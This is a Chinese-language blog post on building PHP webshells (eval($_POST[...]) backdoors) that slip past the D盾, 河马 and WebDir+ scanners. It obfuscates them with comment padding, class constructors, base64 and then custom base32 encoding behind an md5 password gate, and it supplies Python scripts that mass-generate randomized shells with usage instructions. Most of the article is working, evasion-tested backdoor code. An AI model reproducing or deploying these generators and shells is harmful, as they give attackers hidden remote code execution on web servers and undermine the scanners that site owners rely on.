利用注释及自定义加密免杀Webshell

简介: 此篇只讨论php,其实原理是相同的,本文的思路依然适用于其他语言由于php7.1以后assert不能拆分了,所以此篇不使用assert函数作为核心,使用适用性更广的eval。

0x01:探究免杀

免杀D盾

首先我们需要了解免杀的原理,免杀其实就是绕过杀软的规则,而规则对我们来说是不透明的,但是可以根据fuzz探知个大概。

首先请出我们的一句话木马:

<?php@eval($_POST('a'));?>

无论如何混淆webshell,我们期望最终得到的逻辑依然是这条代码,所以答案知道了,想办法混淆就行了。

经过对D盾的探测,可以知道,它对函数的检测其实是比较粗糙的,比如我们构造一个函数,让其返回值拼接为

eval($_POST['a'])

<?php

functionx()
{

   return$_POST['a'];

}

eval(x());
?>

D盾扫一下

被杀了,显然D盾并没有给出我们为什么这个会被杀,只说是已知后门,这里我们测试一下到底是什么东西被规则杀掉了。

首先,无论如何更改函数名,都会被杀掉,所以和函数名没关系,然后就是eval内的参数了,测试后发现,只要拼接成eval($_POST['a'])就会被杀,因此我们避免语句直接拼接为这样即可。

如何避免直接拼接呢 当然是往中间加料了 加一些既不会破坏语法又能起到隔离作用的东西,什么东西可以做到这样呢?当然就是注释了

比如这样的:

<?php

functionx()
{

   return"/*sasas23123*/".$_POST['a']."/*sdfw3123*/";

}

eval(x());
?>

这里用两段注释在"eval("与"$_POST"之间起到了隔离的作用,因此绕过了直接拼接这个规则,D盾继续杀一下

已经免杀成功,再看一下能否使用

既然如此,我们的核心绕过思路就是利用注释了,为了去除特征,必不可少的就是随机性了


使用函数返回值与eval拼接只是权宜之计,毕竟也是一条规则就能够被干掉的。

所以我们这里使用类和构造函数来替代主动调用函数,

<?php
classx
{

       function__construct()
       {      
               @eval("/*sasas23123*/".$_POST['a']."/*sdfw3123*/");
       }

}
newx();

?>

改到这里,我不禁想 如果D盾发狠把".$_POST['a']."当独立规则,那岂不是也歇菜,所以,我决定使用base64编码将"$_POST['a']"转化一下

<?php
classx
{
       public$payload=null;
       public$decode_payload=null;
       function__construct()
       {       $this->payload='ZXZhbCgkX1BPU1RbYV0pOw==';
               $this->decode_payload=@base64_decode($this->payload);
               @eval("/*sasas23123*/".$this->decode_payload."/*sdfw3123*/");
       }

}
newx();

?>

到现在为止,模板确认

后面就是写轮子了,至于轮子原理也很简单,就是将可以修改特征的参数名使用随机数填充,比如类名、public变量名、用于混淆的注释字符等。
代码如下:

importrandom

#author: pureqh
#github: https://github.com/pureqh/webshell


shell='''<?php
class {0}{3}
       public ${1} = null;
       public ${2} = null;
       function __construct(){3}
       $this->{1}='ZXZhbCgkX1BPU1RbYV0pOw==';
       $this->{2} = @base64_decode( $this->{1} );
       @eval({5}.$this->{2}.{5});
       {4}{4}
new {0}();
?>'''


defrandom_keys(len):
   str='`~-=!@#$%^&_+?<>|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
   return''.join(random.sample(str,len))

defrandom_name(len):
   str='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
   return''.join(random.sample(str,len))  

defbuild_webshell():
   className=random_name(4)
   parameter1=random_name(5)
   parameter2=random_name(6)
   lef='''{'''
   rig='''}'''
   disrupt="\"/*"+random_keys(7)+"*/\""
   shellc=shell.format(className,parameter1,parameter2,lef,rig,disrupt)
   returnshellc


if__name__=='__main__':
   print(build_webshell())


免杀河马

首先我们拿出之前的样本:

<?php
classYHUV{
       public$BSFRM=null;
       public$YVMQFW=null;
       function__construct(){
       $this->BSFRM='ZXZhbCgkX1BPU1RbYV0pOw==';
       $this->YVMQFW=@base64_decode($this->BSFRM);
       @eval("/*rEgV_Cd*/".$this->YVMQFW."/*rEgV_Cd*/");
       }}
newYHUV();
?>

直接拿去河马查杀一下,

它很可能通过拼接得到了"eval($_POST[xxx]);",所以认定为木马,那我加一层认证如何

<?php
classBTAG{
       public$QOMYW=null;
       public$XGTCPL=null;
       public$YIOXAL=null;
       function__construct(){
           if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){
       $this->QOMYW='ZXZhbCgkX1BPU';
       $this->YIOXAL='1RbYV0pOw==';
       $this->XGTCPL=@base64_decode($this->QOMYW.$this->YIOXAL);
       @eval("/*#`|W$~Q*/".$this->XGTCPL."/*#`|W$~Q*/");
       }}}
newBTAG();
?>

这个我是真没想到...

免杀webdir+

官方说它会拿沙盒跑

我们拿绕过河马的马跑一下,这里的检测速度之所以比较慢就是因为它在跑沙盒,这种方式确实比传统的查杀工具难搞很多,但是它并不完美。


由于eval依然无法动摇,所以我依旧从"$_POST['a']"下手,首先这串字符编码后是过不去webdir+的,但是不编码也过不去,我猜测可能是沙盒在模拟运行的时候拼接出了eval($_POST['a']),导致被杀,那我使用md5做密钥它总跑不出来吧。修改代码如下:

<?php
classYHUV{
       public$BSFRM=null;
       public$YVMQFW=null;
       function__construct(){
           if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){
               $this->BSFRM=$_POST['a'];
               @eval("/*rEgV_Cd*/".$this->BSFRM."/*rEgV_Cd*/");
           }
       }}
newYHUV();
?>

还是被杀了,我反而很高兴,那这也说明一个问题,你并没有顺利执行过我的马,那说明我eval()里的东西一直都是安全的,那么不安全的肯定就是"$_POST['a']"了,这个怎么解决呢?

经过大量测试 我发现了一个事情 base64不行了

base64不行了怎么办?我直接用base32,php没有自带的base32?那就自己写

function base32_encode($input) {
   $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
   $output = '';
   $v = 0;
   $vbits = 0;

   for ($i = 0, $j = strlen($input); $i < $j; $i++) {
       $v <<= 8;
       $v += ord($input[$i]);
       $vbits += 8;

       while ($vbits >= 5) {
           $vbits -= 5;
           $output .= $BASE32_ALPHABET[$v >> $vbits];
           $v &= ((1 << $vbits) - 1);
       }
   }

   if ($vbits > 0) {
       $v <<= (5 - $vbits);
       $output .= $BASE32_ALPHABET[$v];
   }

   return $output;
}

function base32_decode($input) {
   $output = '';
   $v = 0;
   $vbits = 0;

   for ($i = 0, $j = strlen($input); $i < $j; $i++) {
       $v <<= 5;
       if ($input[$i] >= 'a' && $input[$i] <= 'z') {
           $v += (ord($input[$i]) - 97);
       } elseif ($input[$i] >= '2' && $input[$i] <= '7') {
           $v += (24 + $input[$i]);
       } else {
           exit(1);
       }

       $vbits += 5;
       while ($vbits >= 8) {
           $vbits -= 8;
           $output .= chr($v >> $vbits);
           $v &= ((1 << $vbits) - 1);
       }
   }
   return $output;
}

shell如下,直接使用base32处理"eval($_POST[zero]);"

<?php
classZQIH{
       public$a=null;
       public$b=null;
       public$c=null;

       function__construct(){
           if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){

       $this->a='mv3gc3bierpvat2tkrnxuzlsn5ossoy';



       $this->LGZOJH=@base32_decode($this->a);
       @eval/*sopupi3240-=*/("/*iSAC[FH*/".$this->LGZOJH."/*iSAC[FH*/");
       }}}
newZQIH();

functionbase32_encode($input){
   $BASE32_ALPHABET='abcdefghijklmnopqrstuvwxyz234567';
   $output='';
   $v=0;
   $vbits=0;

   for($i=0,$j=strlen($input);$i<$j;$i++){
       $v<<=8;
       $v+=ord($input[$i]);
       $vbits+=8;

       while($vbits>=5){
           $vbits-=5;
           $output.=$BASE32_ALPHABET[$v>>$vbits];
           $v&=((1<<$vbits)-1);
       }
   }

   if($vbits>0){
       $v<<=(5-$vbits);
       $output.=$BASE32_ALPHABET[$v];
   }

   return$output;
}

functionbase32_decode($input){
   $output='';
   $v=0;
   $vbits=0;

   for($i=0,$j=strlen($input);$i<$j;$i++){
       $v<<=5;
       if($input[$i]>='a'&&$input[$i]<='z'){
           $v+=(ord($input[$i])-97);
       }elseif($input[$i]>='2'&&$input[$i]<='7'){
           $v+=(24+$input[$i]);
       }else{
           exit(1);
       }

       $vbits+=5;
       while($vbits>=8){
           $vbits-=8;
           $output.=chr($v>>$vbits);
           $v&=((1<<$vbits)-1);
       }
   }
   return$output;
}
?>

继续查杀:

能否运行:

至此,我们似乎找到了盲点,以后直接自己写加密完事了。可惜一句话木马也被写成一段话木马了。。。不过在渗透测试过程中完全可以将其拆分为多个文件互相调用。

0x02:批量代码

同样为了减少特征
代码如下

importrandom

#author: pureqh
#github: https://github.com/pureqh/webshell
#use:GET:http://url?pass=pureqh POST:zero

shell='''<?php
class {0}{1}
       public ${2} = null;
       public ${3} = null;
       function __construct(){1}
           if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){1}
       $this->{2} = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
       $this->{3} = @{9}($this->{2});
       @eval({5}.$this->{3}.{5});
       {4}{4}{4}
new {0}();
function {6}(${7}){1}
   $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
   ${8} = '';
   $v = 0;
   $vbits = 0;
   for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1}
   $v <<= 8;
       $v += ord(${7}[$i]);
       $vbits += 8;
       while ($vbits >= 5) {1}
           $vbits -= 5;
           ${8} .= $BASE32_ALPHABET[$v >> $vbits];
           $v &= ((1 << $vbits) - 1);{4}{4}
   if ($vbits > 0){1}
       $v <<= (5 - $vbits);
       ${8} .= $BASE32_ALPHABET[$v];{4}
   return ${8};{4}
function {9}(${7}){1}
   ${8} = '';
   $v = 0;
   $vbits = 0;
   for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1}
       $v <<= 5;
       if (${7}[$i] >= 'a' && ${7}[$i] <= 'z'){1}
           $v += (ord(${7}[$i]) - 97);
       {4} elseif (${7}[$i] >= '2' && ${7}[$i] <= '7') {1}
           $v += (24 + ${7}[$i]);
       {4} else {1}
           exit(1);
       {4}
       $vbits += 5;
       while ($vbits >= 8){1}
           $vbits -= 8;
           ${8} .= chr($v >> $vbits);
           $v &= ((1 << $vbits) - 1);{4}{4}
   return ${8};{4}
?>'''


defrandom_keys(len):
   str='`~-=!@#$%^&_+?<>|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
   return''.join(random.sample(str,len))

defrandom_name(len):
   str='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
   return''.join(random.sample(str,len))  

defbuild_webshell():
   className=random_name(4)
   lef='''{'''
   parameter1=random_name(4)
   parameter2=random_name(4)
   rig='''}'''
   disrupt="\"/*"+random_keys(7)+"*/\""
   fun1=random_name(4)
   fun1_vul=random_name(4)
   fun1_ret=random_name(4)
   fun2=random_name(4)
   shellc=shell.format(className,lef,parameter1,parameter2,rig,disrupt,fun1,fun1_vul,fun1_ret,fun2)
   returnshellc


if__name__=='__main__':
   print(build_webshell())

目录
相关文章
|
Java 数据安全/隐私保护
java实现加密电话号码,有具体的加密流程注释
java实现加密电话号码,有具体的加密流程注释
21 0
|
算法 Java 关系型数据库
Springboot yml配置参数加密 ,jasypt自定义解密器(拓展篇)
Springboot yml配置参数加密 ,jasypt自定义解密器(拓展篇)
943 0
Springboot yml配置参数加密 ,jasypt自定义解密器(拓展篇)
|
9月前
|
安全 Java Maven
SpringBoot自定义classloader加密保护class文件
最近针对公司框架进行关键业务代码进行加密处理,防止通过jd-gui等反编译工具能够轻松还原工程代码,相关混淆方案配置使用比较复杂且针对springboot项目问题较多,所以针对class文件加密再通过自定义的classloder进行解密加载,此方案并不是绝对安全,只是加大反编译的困难程度,防君子不防小人,整体加密保护流程图如下图所示
240 2
|
11月前
|
Java 数据安全/隐私保护
java实现加密电话号码,有具体的加密流程注释
java实现加密电话号码,有具体的加密流程注释
339 0
|
安全 Android开发 数据安全/隐私保护
【Android 安全】DEX 加密 ( Application 替换 | 创建用户自定义 Application | 替换 ContextImpl 对象的 mOuterContext 成员 )
【Android 安全】DEX 加密 ( Application 替换 | 创建用户自定义 Application | 替换 ContextImpl 对象的 mOuterContext 成员 )
131 0
|
安全 Android开发 数据安全/隐私保护
【Android 安全】DEX 加密 ( Application 替换 | 判定自定义 Application 存在 | 获取 ContextImpl 对象 )
【Android 安全】DEX 加密 ( Application 替换 | 判定自定义 Application 存在 | 获取 ContextImpl 对象 )
124 0
|
数据安全/隐私保护
云盘加密支持选择自定义 KMS 密钥
概述 阿里云 2018 年 1 月份上线了云盘加密功能,即在创建实例添加数据盘或者单独创建云盘时可以勾选是否加密,关于云盘加密相关说明,可查看此 文档,但当时所发布的功能默认采用了阿里云自动生成的 KMS 密钥,对于企业自定义加密密钥的需求无法满足,日期发布了选择自定义 KMS 密钥的功能,操作步骤如下(注:目前仅支持香港地域,其他地域正在逐步发布中): 操作步骤 1.
3009 0
|
Java 数据安全/隐私保护
Java实现最电话号码的简单加密源码
Java实现最电话号码的简单加密源码
18 0
|
2月前
|
存储 安全 算法
【接口加密】Java中的接口加密实践
【接口加密】Java中的接口加密实践